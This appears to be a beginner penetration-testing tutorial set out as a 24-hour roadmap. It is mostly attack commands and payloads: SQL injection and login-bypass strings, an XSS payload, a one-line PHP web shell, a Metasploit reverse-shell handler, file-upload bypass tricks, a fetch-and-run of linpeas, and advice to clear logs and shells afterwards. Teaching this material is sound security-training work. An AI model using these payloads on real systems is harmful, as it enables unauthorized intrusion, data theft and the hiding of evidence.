24-Hour Penetration Testing Roadmap

Beginner / Intermediate · ~15 min read

A no-fluff, action-oriented roadmap to jumpstart your penetration testing skills. Follow this guide to build practical cybersecurity expertise in just one day.

The 24-Hour Roadmap

Hours 1–2Battlefield Setup

Goal: Ready your tools and environment.

Tools

• 1Kali Linux (use Bare Metal or VirtualBox)
• 2VPN (optional, but good for real-world testing)

Install must-have tools:

Hours 3–4External Recon — Know the Enemy

Objective: Find your target’s digital footprint.

# Subdomain enumeration
subfinder -d target.com > subs.txt
assetfinder --subs-only target.com >> subs.txt
sort -u subs.txt -o subs.txt

# Live hosts
httpx -l subs.txt -o live.txt

Hours 5–6Port Scanning & Fingerprinting

Use Nmap like a sniper — quiet, accurate, targeted.

nmap -sC -sV -Pn -oN scan.txt target.com

High-Impact Flags

• 1-sC: Default scripts
• 2-sV: Version detection
• 3-Pn: Skip ping (good for firewalled hosts)

nuclei -u https://target.com -t vulnerabilities/

Hours 7–9Web Application Hacking

Use Burp Suite like a pro.

Focus on

Templates

SQL Injection

Payload: ' OR 1=1--
sqlmap -u "https://target.com/page.php?id=1" --batch

XSS

Payload: <script>alert(1)</script>
Test in search boxes, URL params, headers

File Upload

Rename .jpg to .php.jpg or use .htaccess
Check for upload bypass using double extensions or Content-Type tricks

Hours 10–11Authentication Flaws

Think like this: What happens if I change my token, bypass auth, or replay a session?

Hacks

• 1Try Burp Intruder for brute-force
• 2Manipulate X-Forwarded-For, JWT tokens, cookies

Bypass logins with:

admin' --
admin' or '1'='1

Hours 12–14Network Services Attacks

Check for

Cheats

nc -nv target 21  # FTP
smbclient -L //target/ -N

searchsploit vsftpd

Hours 15–17Exploitation & Shells

Get a reverse shell:

nc -nlvp 4444

PHP Reverse Shell (web)

<?php system($_GET["cmd"]); ?>

Access:
http://target.com/shell.php?cmd=whoami

Metasploit Basic Flow:

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost YOUR_IP
set lport 4444
run

Hours 18–20Privilege Escalation

Run Enumeration Scripts:

# Linux
wget linpeas.sh && bash linpeas.sh

# Windows
upload and run winPEAS.exe

SUID Privesc:

find / -perm -4000 2>/dev/null

High-impact paths

• 1Writable /etc/passwd, cron jobs
• 2Kernel exploits (check version)
• 3Sudo misconfigs (sudo -l)

Hour 21Report What Matters (Fast)

Bug Template

Title: SQL Injection on /product?id
Summary: SQLi in product page allows data extraction.
PoC: GET /product?id=1' OR '1'='1
Impact: Full DB dump possible.
Payload: ' OR '1'='1

Hours 22–23Anonymity & Rules

• 1Use VPN or Tor if testing externally
• 2Understand scope — don’t hack what you’re not allowed to
• 3Clear your tracks when done (logs, shells, uploads)

Hour 24Build Your Repeatable Process

The 5-Step Workflow

1. 1.Recon — Map the attack surface
2. 2.Enumeration — Ports, services, dirs
3. 3.Vulnerability Discovery — Manual + automated
4. 4.Exploitation — Shells, access, privesc
5. 5.Reporting — Clear, concise, exploitable

Learning Resources

Hand-picked places to keep building your penetration testing skills.